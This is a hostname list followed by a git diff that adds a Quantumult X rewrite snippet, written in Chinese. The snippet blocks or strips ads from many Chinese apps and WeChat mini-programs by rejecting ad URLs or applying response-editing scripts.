img.allahall.com, staticsns.cdn.bcebos.com, api.wfdata.club, dsa-mfp.fengshows.cn, flowplus.meituan.net, ssp.dzh.com.cn, adm.10jqka.com.cn, stat.10jqka.com.cn, api.xueqiu.com, open.xueqiu.com, stock.xueqiu.com, 39.103.79.14, 39.106.97.84, 47.95.49.75, 101.201.62.20, 101.201.62.26, 101.201.175.228, 124.250.48.3, 182.92.145.50, 182.92.251.113, ios.fuliapps.com, pt-starimg.didistatic.com, omgup*.xiaojukeji.com, *.pipiapps.com, adstatic.peopleapp.com, otheve.beacon.qq.com, ptf.flyertrip.com, api.qbb6.com, res.xiaojukeji.com, conf.diditaxi.com.cn, yunbusiness.ccb.com, img.alicdn.com, capis.didapinche.com, ms.jr.jd.com, m.creditcard.ecitic.com, img.gdoil.cn, api.hanju.koudaibaobao.com, api.jr.mi.com, imagev2.tx.xmcdn.com, upload-bbs.mihoyo.com, gw-passenger.01zhuanche.com, img.yun.01zhuanche, ndstatic.cdn.bcebos.com, fc-video.cdn.bcebos.com, rp.hpplay.cn, dyncdn.me, pss.txffp.com, capis*.didapinche.com, dxy.com, staticlive.douyucdn.cn, edit.sinaapp.com, www1.elecfans.com, *.googlevideo.com, pocketuni.net, x.seeyouyima.com, axxd.xmseeyouyima.com, config-service.seeyouyima.com, j-image.missfresh.cn, cms.daydaycook.com, api.cloud.189.cn, mobile.cebbank.com, yghsh.cebbank.com, y.gtimg.cn, dss0.bdstatic.com, tb1.bdstatic.com, tb2.bdstatic.com, ss0.bdstatic.com, gss0.bdstatic.com, newclient.map.baidu.com, ossweb-img.qq.com, mea.meitudata.com, adui.tg.meitu.com, list-app-m.i4.cn, api.daydaycook.com, learn.chaoxing.com, interface.music.163.com, interface?.music.163.com, ipv4.music.163.com, mrobot.pconline.com.cn, res.kfc.com.cn, gw.kaola.com, api.huomao.com, mi.gdt.qq.com, fmapp.chinafamilymart.com.cn, app-gw.csdn.net, gw.csdn.net, app.58.com, cap.caocaokeji.cn, live-ads.huya.com, cdn.wup.huya.com, cdnfile1.msstatic.com, business.msstatic.com, ct.xiaojukeji.com, homepage-api.smzdm.com, haojia-api.smzdm.com, app-api.smzdm.com, user-api.smzdm.com, article-api.smzdm.com, qianbao.smzdm.com, s-api.smzdm.com, haojia.m.smzdm.com, adpai.thepaper.cn, www.baidu.com, *.tv.sohu.com, ih2.ireader.com, common.diditaxi.com.cn, display.wting.info, kano.guahao.cn, i-lq.snssdk.com, cloud.189.cn, ad.12306.cn, dl-cu-hz.lechange.cn, spclient.wg.spotify.com, dsp-impr2.youdao.com, api.rr.tv, *.pglstatp-toutiao.com, mobile.yangkeduo.com, api.yangkeduo.com, xyz.cnki.net, api.bjxkhc.com, d.psbc.com, fm.fenqile.com, client.app.coc.10086.cn, img.ddrk.me, ddrk.me, img.jiemian.com, message.shuqireader.com, ut2.shuqistat.com, dsp.toutiao.com, sq.sljkj.com, img-tailor.11222.cn, feedback.uc.cn, *.shuqireader.com, 101.91.69.26, gateway.shouqiev.com, api.gotokeep.com, kad.gotokeep.com, static1.keepcdn.com, mbank.grcbank.com, -i.vip.iqiyi.com, *.iqiyi.com, api-sams.walmartmobile.cn, api.htp.ad-scope.com.cn, appgw.ddpai.com, init.sms.mob.com, www.flyert.com, hcz-member.pingan.com.cn, jp.rsscc.com, jt.rsscc.com, appapi.51job*.com, cupid.51job*.com, api-ac.liepin.com, api-wanda.liepin.com, manga.bilibili.com, intellicc.bcs.cmbchina.com, api-cslp-emt.amazon.cn, m.airchina.com.cn, apphw.ddpai.com, waimai-guide.ele.me, 39.98.135.211, api.51credit.com, booking.bestwehotel.com, webapi.qmai.cn, miniapp.qmai.cn, web-stable-cdn.ykccn.com, gw3.ykccn.com, ec.ems.com.cn, ump.ems.com.cn, clubmed.bd.clubmedmnp.com, api.xiaoyuzhoufm.com, apis.folidaymall.com diff --git a/QuantumultX/rewrite/cleanup.snippet b/QuantumultX/rewrite/cleanup.snippet new file mode 100644 index 00000000..3dcbae16 --- /dev/null +++ b/QuantumultX/rewrite/cleanup.snippet @@ -0,0 +1,519 @@ +#!name=App&小程序净化合集 +#!desc=去除一些冗余的模块,遇到异常时关闭此配置 +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/gif/naisi-01.gif +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/QuantumultX/rewrite/cleanup.snippet +#!tg-group=https://t.me/lanjieguanggao +#!category=奶思的模块 +#!tag = 去广告, 奶思 +#!system = iOS, iPadOS +#!system_version = +#!loon_version = +#!date=2023-11-30 19:36:00 +#!support=约88款app +############################################# +# "reject" 策略返回 HTTP 状态码 404,不附带任何额外内容 +# "reject-200" 策略返回 HTTP 状态码 200,不附带任何额外内容 +# "reject-img" 策略返回 HTTP 状态码 200,同时附带 1px gif +# "reject-dict" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 对象 +# "reject-array" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 数组 +############################################# +# 常见问题: +# 1️⃣:我知道规则,不知道主机名怎么办? +# ✅:几乎所有的主机名都是从规则中提取出来的,先有的规则再有的主机名 +# 举个栗子:12306的一条规则URL👉🏻^https?:\/\/ad\.12306\.cn\/ad\/ser\/getAdList +# 只需要去掉反斜杠:^https?://ad.12306.cn/ad/ser/getAdList +# 不用再说了吧,ad.12306.cn就是想要的主机名 +# 2️⃣:有些常用的软件为什么没有去广告配置? +# ✅:如果要利用重写去广告,就需要对请求或响应信息进行解密(MITM),现在一些软件已经禁止了MITM,所以就无法去广告。 +############################################# + + +# 去重后的hostname,将对以下域名进行MITM(MAN-IN-THE-MIDDLE:中间人攻击) +hostname = member.alipan.com, vod-movie.maoyan.com, wx.maoyan.com, api.maoyan.com, ad.maoyan.com, hwimg.beingfine.cn, learnywhere.cn, newton.gumingnc.com, gw-passenger-wap.01zhuanche.com, www.deppon.com, passengerapi.saicmobility.com, passenger.t3go.cn, webapi.qmai.cn, images.qmai.cn, wx.mygolbs.com, hkj178.com, ccmsupport-sz.tenpay.com, api.songguo7.com, triangle.wearemanner.com, cappapi.alittle-tea.com, alittle-tea.oss-cn-shanghai.aliyuncs.com, member.lxjchina.com.cn, cbd-gateway-service-applets.hualala.com, coco-com.e.verystar.net, lawsonapi.yorentown.com, plt.yorentown.com, minifm.maxxipoint.com, htwkop.xiaojukeji.com, mxsa.mxbc.net, go.heytea.com, miniapp.sexytea2013.com, api-fouth-mem.huazhu.com, wxapp.bestwehotel.com, mystore-gw.watsonsvip.com.cn, app.homeinns.com, wx.bthhotels.com, tm-api.pin-dao.cn, res.pizzahut.com.cn, orders.kfc.com.cn, dynamicad.kfc.com.cn, res.kfc.com.cn, api.mcd.cn, 3pp.starbucks.com.cn, wechat-api.i-xiaoma.com.cn, apiproxy.zuche.com, miniprogram.ishansong.com, ads.ishansong.com, minicap.caocaokeji.cn, applets.jtexpress.com.cn, ump.ems.com.cn, api.hellobike.coming, api.kuaidihelp.com, wxproj.seeyouyima.com, qapi.huolala.cn, appuser-static.huolala.cn, apis.alenable.com, suyun-user.daojia.com, adsoss.zhinengxiyifang.cn, api-marketing.zhinengxiyifang.cn, ads.zhinengxiyifang.cn, capis*.didapinche.com, conf.diditaxi.com.cn, ad.xiaotucc.com, mapi.xiaotucc.com, aag.enmonster.com, smarket.dian.so, file.dian.so, s.jiediankeji.com, wxs-weixin.sd.zhumanggroup.com, mobile-api.imlaidian.com, api.sodalife.xyz, hdgateway.zto.com, api.ulife.group, common.diditaxi.com.cn, webchatapp.fcbox.com, dsp.fcbox.com, supplier-api.imdada.cn, customer-app.sto.cn, sto-customer-app.oss-cn-shanghai.aliyuncs.co, res.hongyibo.com.cn, r2.gzyct.com, api.hellobike.com, dock.tenchii.com, fscdn.zto.com, tan.ipnas.ltd, 4thdimension.top, www.benbenfx.xyz, *.smkj33.top, tvapp.guilaile.cn, gz.gongzijx.com, d.syshhc.top, gjsx.vip, jt.jxjt888.top, *.tslt.xyz, g.syshhc.top, c.jxjt888.top, www.laoguikeji.cn, qj.bpojie.com, b.tslt.xyz, m.xgjyouhui.com, www.freeheikeji.cn, xcx.xianbaow.com, jabi.coding.net, iosoi.cn, d.smkj33.top, *.ddly666.top, a.jxjt888.top, lysl2020.com, www.i3zh.com, comic.321mh.com, uranus.sharedaka.com, wp3.lobdol.cn, wx.wxqqurl.cn, www.bbkj.work + +# >>>>>>>>>>>>>>> ✅ 0 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 1 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 2 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 3 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 4 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 5 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 6 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 7 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 8 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 9 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ A ✅ <<<<<<<<<<<<<< +# > AShare +# hostname = tan.ipnas.ltd +^https:\/\/tan\.ipnas\.ltd\/wp-json\/wp\/v2 url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > AppleAndroid +# hostname = iosoi.cn +# 弹框显示内容 +^https:\/\/iosoi\.cn\/wp-json\/wp\/v2\/posts/\d+ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js +# 辅助去除页面嵌入式式卡片广告 +^https:\/\/iosoi\.cn\/wp-content\/plugins url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > APP基地 +# hostname = wx.wxqqurl.cn +^https:\/\/wx\.wxqqurl\.cn\/wp-json\/watch-life-net\/v1\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > 阿里云盘 +# hostname = member.alipan.com +# 首页上方广告 +^https:\/\/member\.alipan\.com\/v2\/activity\/sign_in_info url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ B ✅ <<<<<<<<<<<<<< +# > 必胜客 微信小程序净化 +# hostname = res.pizzahut.com +;^https:\/\/res\.pizzahut\.com\.cn\/CRM url reject-dict + +# > 不完全指北 +# hostname = 4thdimension.top +^https:\/\/4thdimension\.top\/wp\-json\/watch\-life\-net\/v1\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > 不背单词 净化 +# hostname = hwimg.beingfine.cn, learnywhere.cn +^https:\/\/hwimg\.beingfine\.cn\/float_button url reject-dict +^https:\/\/hwimg\.beingfine\.cn\/card url reject-dict +^https:\/\/learnywhere\.cn\/api\/activity\/23\/423dsj\/inapp\/bb\/promote url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ C ✅ <<<<<<<<<<<<<< +# > 曹操出行 微信小程序净化 +# hostname = minicap.caocaokeji.cn +^https:\/\/minicap\.caocaokeji\.cn\/advert-bss\/pullAdvert url reject-dict + +# > 乘车码 @jinlvei +# hostname = ccmsupport-sz.tenpay.com +^https:\/\/ccmsupport-sz\.tenpay\.com\/cgi-bin\/common\/ccm_page_element.cgi url reject + +# > 茶颜悦色 微信小程序净化 +# hostname = miniapp.sexytea2013.com +^https:\/\/miniapp\.sexytea2013\.com\/cms\/slot\/queryByCodes\?codes=INDEX_TOP_BANNER url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cyys.js + +# > 茶百道 微信小程序净化 +# hostname = cbd-gateway-service-applets.hualala.com +^https:\/\/cbd-gateway-service-applets\.hualala\.com\/arch\/api\/banner\/QueryBannerImgList url reject-dict + +# > COCO点单 微信小程序净化 +# hostname = coco-com.e.verystar.net +^https:\/\/coco-com\.e\.verystar\.net\/v1\/home\/info url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/coco.js + + + +# >>>>>>>>>>>>>>> ✅ D ✅ <<<<<<<<<<<<<< +# > 达达快送 微信小程序净化 +# hostname = supplier-api.imdada.cn +^https:\/\/supplier-api\.imdada\.cn\/fe\/public\/ad\/spot\?forwardServiceName=growth-activity url reject-dict + +# > 滴滴出行 微信小程序个人中心净化 由TEXAS和豆豆提供 +# hostname = common.diditaxi.com.cn, conf.diditaxi.com.cn +^https:\/\/common\.diditaxi\.com\.cn\/common\/v5 url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +# > 滴滴打车 小程序净化 感谢#豆豆分享 +^https:\/\/conf\.diditaxi\.com\.cn\/homepage\/v1\/core url reject-dict + +# > 嘀嗒出行 小程序净化 感谢#豆豆分享 +# hostname = capis*.didapinche.com +^https:\/\/capis(-\d)?\.didapinche\.com\/adbase url reject + +# > 石家庄公交乘车码 微信小程序净化 +# hostname = +^https:\/\/wechat-api\.i-xiaoma\.com\.cn\/app\/v1\/bus\/wechat\/content url reject-dict + +# > 电视盒子君 +# hostname = tvapp.guilaile.cn +^https:\/\/tvapp\.guilaile\.cn\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > 德邦快递 微信小程序净化(删除Top轮播) +# hostname = www.deppon.com +^https:\/\/www\.deppon\.com\/gwapi\/memberService\/eco\/member\/grade\/commonInterface url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ E ✅ <<<<<<<<<<<<<< +# > EMS 微信小程序净化 由TEXAS和豆豆提供 +^https:\/\/ump\.ems\.com\.cn\/new-generation-extend\/redis\/pageInfoByChannel url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/ems.js + + + +# >>>>>>>>>>>>>>> ✅ F ✅ <<<<<<<<<<<<<< +# > 丰巢 微信小程序净化 +^https:\/\/webchatapp\.fcbox\.com\/fcboxactivityweb\/api\/v2\/clientPage url reject-dict +^https:\/\/dsp\.fcbox\.com url reject-dict + +# > free黑科技 +^https:\/\/www\.freeheikeji\.cn\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + + + +# >>>>>>>>>>>>>>> ✅ G ✅ <<<<<<<<<<<<<< +# > 怪兽充电 微信小程序 +^https:\/\/aag\.enmonster\.com\/apa\/index\/advert\/skin url reject +^https:\/\/aag\.enmonster\.com\/apa\/(index\/)?advert\/(skin|multi\/positions|demand\/home\/poster) url reject +# 我的界面广告 支付宝小程序 +^https:\/\/aag\.enmonster\.com\/apa\/advert\/multi\/positions url reject +# 我的界面广告 微信小程序 +^https:\/\/aag\.enmonster\.com\/apa\/advert\/demand\/home\/poster url reject + +# > 广州地铁乘车码 微信小程序净化 +^https:\/\/apis\.alenable\.com\/mall\/v1\/api\/mall\/skin\/user\/get url reject-dict +^https:\/\/apis\.alenable\.com\/ycx\/v1\/api\/adPut url reject-dict + +# > 公子黑科技 +^https:\/\/gz\.gongzijx\.com\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > 搞机师兄 +^https:\/\/gjsx\.vip\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > 古茗 微信小程序净化 +^https:\/\/newton\.gumingnc\.com\/newton-buyer\/newton\/buyer\/(ump|touch|external\/front) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/ming.js + + + +# >>>>>>>>>>>>>>> ✅ H ✅ <<<<<<<<<<<<<< +# > 花小猪打车 微信小程序净化 api.hongyibo.com.cn, +;^https:\/\/api\.hongyibo\.com\.cn url reject-dict +^https:\/\/res\.hongyibo\.com\.cn\/os\/gs\/resapi\/activity url reject-dict + +# > 货拉拉 微信小程序净化 +^https:\/\/qapi\.huolala\.cn\/ads url reject-dict +^https:\/\/appuser-static\.huolala\.cn\/imgs url reject-dict +^https:\/\/qapi\.huolala\.cn\/home_new_user url reject-dict +^https:\/\/qapi\.huolala\.cn\/get_service_list url reject-dict + +# > 哈啰 微信小程序首页弹窗屏蔽 +^https:\/\/api\.hellobike\.com\/api\?adx url reject-dict + +# > 华住会 微信小程序净化 +^https:\/\/api-fouth-mem\.huazhu\.com\/api\/rights\/bannerList url reject-dict + +# > 黑科技软件 +^https:\/\/hkj178.com/wp-json/mp/v2/advert/wechat url reject-200 +^https:\/\/hkj178\.com\/wp\-json\/mp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > 黑科技软件源 +^https:\/\/qj\.bpojie\.com\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > 火箭软件库 +^https:\/\/jt\.jxjt888\.top\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + + + +# >>>>>>>>>>>>>>> ✅ I ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ J ✅ <<<<<<<<<<<<<< +# > 街电 微信小程序 +^https:\/\/s\.jiediankeji\.com\/adv url reject-dict + +# > 极兔快递 微信小程序净化 +^https:\/\/applets\.jtexpress\.com\.cn url reject-dict + +# > 锦江酒店 微信小程序净化 +^https:\/\/wxapp\.bestwehotel\.com\/gw3\/app-mini\/trip-hotel-banner\/activity\/getActivityInfo url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ K ✅ <<<<<<<<<<<<<< +# > 肯德基 微信小程序净化 +^https:\/\/orders\.kfc\.com\.cn\/preorder-portal\/api\/v2\/coupon url reject-dict +^https:\/\/dynamicad\.kfc\.com\.cn\/api url reject-dict +^https:\/\/res\.kfc\.com\.cn\/CRM\/kfcad\/custom_v2\/wxapp url reject-dict +^https:\/\/orders\.kfc\.com\.cn\/preorder-portal\/api\/v2\/activity url reject-dict + +# > 快狗打车搬家 微信小程序净化 +^https:\/\/suyun-guest\.daojia\.com\/api\/kuaigou\/banjia\/review url reject-dict + +# > 科技窝 +^https:\/\/www\.benbenfx\.xyz\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js +^https:\/\/www\.bbkj\.work\/wp-json\/watch-life-net\/v1\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + + +# >>>>>>>>>>>>>>> ✅ L ✅ <<<<<<<<<<<<<< +# > 来电 小程序净化 +^https:\/\/mobile-api\.imlaidian\.com\/api\/args url reject-dict + +# > 罗森点点 微信小程序净化 +# ^https:\/\/lawsonapi\.yorentown\.com\/area\/sh-lawson\/app\/v1\/mina\/systemSetting url reject-dict +^https:\/\/plt\.yorentown\.com\/pltapp\/v1\/banner url reject-dict +^https:\/\/lawsonapi\.yorentown\.com\/area\/sh-lawson\/app\/v1\/ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/lawson.js +^https:\/\/lawsonapi\.yorentown\.com\/portal\/app\/globalLaunch\/listAdvert url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/lawson.js + +# > 老乡鸡 微信小程序净化 +^https:\/\/member\.lxjchina\.com\.cn\/mini-server\/home\/page\/banner url reject-dict + +# > 老胡群英会 +^https:\/\/g\.syshhc\.top\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > 老鬼黑科技 +^https:\/\/www\.laoguikeji\.cn\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + + + +# >>>>>>>>>>>>>>> ✅ M ✅ <<<<<<<<<<<<<< +# > 美柚 微信小程序净化 +^https:\/\/wxproj\.seeyouyima\.com\/data\/today_tips url reject-dict + +# > 麦当劳 微信小程序净化 +^https:\/\/api\.mcd\.cn\/bff\/portal\/home\/hotActivity url reject-dict + +# > 蜜雪冰城 微信小程序净化 +^https:\/\/mxsa\.mxbc\.net\/api\/v1\/adinfo\/adplace\/query url reject-dict + +# > Manner 微信小程序净化(去除首页轮播图以及进入小程序弹窗) +^https:\/\/triangle\.wearemanner\.com\/mp-api\/v1\/ads url reject-dict + +# > 漫画台 Lite +^https?:\/\/comic\.321mh\.com\/app_api\/v\d\/getcomicinfo_body url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/manhuatailite.js + +# > 猫眼电影小程序 +# 弹窗广告+横幅广告 #主机名ad.maoyan.com +^https:\/\/ad\.maoyan\.com\/api\/position\/detail url reject-dict +# 电竞赛事+热门赛事 #主机名wx.maoyan.com +^https:\/\/wx\.maoyan\.com\/maoyansh\/api\/mobile\/(hotMatchList|eSportsIps) url reject-dict +# 猫眼放映厅 #主机名vod-movie.maoyan.com +^https:\/\/vod-movie\.maoyan\.com\/vod\/video\/onlineMovies\.json url reject-dict +# 精彩演出 +^https:\/\/wx\.maoyan\.com\/maoyansh\/myshow\/ajax\/movie\/wonderShow url reject-dict +# 七日精选 +^https:\/\/wx\.maoyan\.com\/maoyansh\/myshow\/ajax\/performances\/calendar\/0 url reject-dict +# 今日必抢 +^https:\/\/wx\.maoyan\.com\/maoyansh\/myshow\/ajax\/performances\/rob\/main url reject-dict +# 大咖新动态 +^https:\/\/wx\.maoyan\.com\/maoyansh\/myshow\/ajax\/celebrityBasicList\/query url reject-dict +# 为你推荐 +^https:\/\/wx\.maoyan\.com\/maoyansh\/myshow\/ajax\/recommend\/performances url reject-dict +# 首页底部推荐 #主机名api.maoyan.com +^https:\/\/api\.maoyan\.com\/sns\/common\/feed\/channel\/v2\/list\.json url reject-dict +# 演出页面全部拦截 +^https:\/\/wx\.maoyan\.com\/maoyansh\/myshow\/ajax\/ad\/detail url reject-dict + + +# >>>>>>>>>>>>>>> ✅ N ✅ <<<<<<<<<<<<<< +# > 奈雪 微信小程序净化 +^https:\/\/tm-api\.pin-dao\.cn\/home\/api\/index\/activeConfig\/v2 url reject-dict +^https:\/\/tm-api\.pin-dao\.cn\/home\/api\/resource\/config\/homeBannerNodes url reject-dict + +# > 挪瓦咖啡 微信小程序净化 +^https:\/\/webapi\.qmai\.cn\/web\/catering\/design\/homePage-Config url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kff.js +^https:\/\/webapi\.qmai\.cn\/web\/catering\/advertising\/ad url reject-dict +^https:\/\/images\.qmai\.cn\/s214925\/2023 url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ O ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ P ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ Q ✅ <<<<<<<<<<<<<< +# > 屈臣氏 微信小程序开屏(或许APP也可以干掉) +^https:\/\/mystore-gw\.watsonsvip\.com\.cn\/gfu\/popup\/advert\/launch url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/watsons.js + +# > 青桔 微信小程序净化 +^https:\/\/htwkop\.xiaojukeji\.com\/gateway\?api=cms\.htw\.delivery url reject-dict +^https:\/\/htwkop\.xiaojukeji\.com\/gateway\?api=hm\.fa\.combineHomepageInfo url reject-dict +^https:\/\/htwkop\.xiaojukeji\.com\/gateway\?api=hm\.fa\.mallRecommend url reject-dict +^https:\/\/htwkop\.xiaojukeji\.com\/gateway\?api=hm\.fa\.homeConfig url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/qingju.js + + +# > 全家微会员 微信小程序净化 +^https:\/\/minifm\.maxxipoint\.com\/banner\/list url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/FamilyMart.js + + + +# >>>>>>>>>>>>>>> ✅ R ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ S ✅ <<<<<<<<<<<<<< +# > 申通快递 微信小程序净化 +^https:\/\/customer-app\.sto\.cn\/api\/app\/banner\/banner url reject-dict +^https:\/\/sto-customer-app\.oss-cn-shanghai\.aliyuncs\.com\/images url reject-dict + +# > 苏打校园APP 净化(需要卸载重装)@TEXAS提供 +^https:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AHOME%3ATOP url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soda.js +^https:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AHOME%3ABOTTOM url reject-dict +^https:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AHOME%3ACENTER url reject-dict +^https:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AMINE%3ABOTTOM url reject-dict +^https:\/\/api\.sodalife\.xyz\/v1\/goods url reject-dict +^https:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AREWARDS%3ACENTER url reject-dict + +# > 搜电充电 微信小程序 +^https:\/\/wxs-weixin\.sd\.zhumanggroup\.com\/api\/v2\/ad url reject-dict + +# > 神州租车 微信小程序净化 +^https:\/\/apiproxy\.zuche\.com\/resource\/carrctapi\/home\/marketing url reject-dict +^https:\/\/apiproxy\.zuche\.com\/resource\/carrctapi\/home\/page\/advertising url reject-dict + +# > 闪送 微信小程序净化 +^https:\/\/miniprogram\.ishansong\.com\/cms\/faq\/query url reject-dict +^https:\/\/ads\.ishansong\.com\/advert url reject-dict + +# > 首旅如家 微信小程序净化 +^https:\/\/wx\.bthhotels\.com\/miniapp\/weixin\/v1\/home\/index_banner url reject-dict +^https:\/\/app\.homeinns\.com\/api\/v6\/indexs url reject-dict +^https:\/\/app\.homeinns\.com\/api\/v5\/local url reject-dict +^https:\/\/app\.homeinns\.com\/api\/v5\/index url reject-dict + +# > 松果出行 @keywos +^https:\/\/api\.songguo7\.com\/(\w{3})?mp\/v2\/misc\/(toast|user_operate_info) url reject-dict + +# > 森茂小苑 +^https:\/\/[a-z]+\.smkj33\.top\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js +^https:\/\/d\.smkj33\.top\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > 世颜说 +^https:\/\/d\.syshhc\.top\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > 酸鸡汤、老爷花苑、御花园 +^https:\/\/[a-z]+\.ddly666\.top\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > 搜罗好货 +^https:\/\/www\.i3zh\.com\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > 首汽约车 微信小程序净化 +^https:\/\/gw-passenger-wap\.01zhuanche\.com\/gw-passenger-wap\/zhuanche-passenger-token\/commonSkipToken\/common\/getAdList url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ T ✅ <<<<<<<<<<<<<< +# > 天书乱谈 +^https:\/\/[a-z]+\.tslt\.xyz\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js +^https:\/\/b\.tslt\.xyz\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > 天泽百宝箱 +^https:\/\/(c|a)\.jxjt888\.top\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > 图层黑科技 +^https:\/\/m\.xgjyouhui\.com\/wp\-json\/wp\/v2\/posts url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/applet.js + +# > T3出行 微信小程序净化 +^https:\/\/passenger\.t3go\.cn\/(solution\-|common\-)?(passenger\-)?(activity\-|app\-)?api\/notoken\/(trip\/)?api\/(home\/|common\/)?(v[1-3]\/)?(ad\/getNegativescreen|solution\/passenger\/open\/getHomeMenu|leftmenu|getHomeInfoGlobal) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/T3.js +^https:\/\/passenger\.t3go\.cn\/passenger-activity-api\/notoken\/api\/v1\/resource\/getSource url reject-dict + + + + +# >>>>>>>>>>>>>>> ✅ U ✅ <<<<<<<<<<<<<< +# > U净 APP净化 感谢#豆豆分享 +^https:\/\/adsoss\.zhinengxiyifang\.cn\/ads url reject +^https?:\/\/ads\.zhinengxiyifang\.cn\/api\/v1\.1\/ads\/* url reject-200 + + + +# >>>>>>>>>>>>>>> ✅ V ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ W ✅ <<<<<<<<<<<<<< +# > 微快递 微信小程序净化 +^https:\/\/api\.kuaidihelp\.com\/g_order_core\/v2\/mina\/User\/getBannerList url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ X ✅ <<<<<<<<<<<<<< +# > 小电充电 微信小程序 +^https:\/\/smarket\.dian\.so url reject-dict +^https:\/\/file\.dian\.so\/c\/leto url reject-dict + +# > 小兔充充 小程序净化 感谢#豆豆分享 +^https:\/\/ad\.xiaotucc\.com\/advert url reject +^https:\/\/mapi\.xiaotucc\.com\/(mall\/main|main_page\/index\/getActivity) url script-response-body 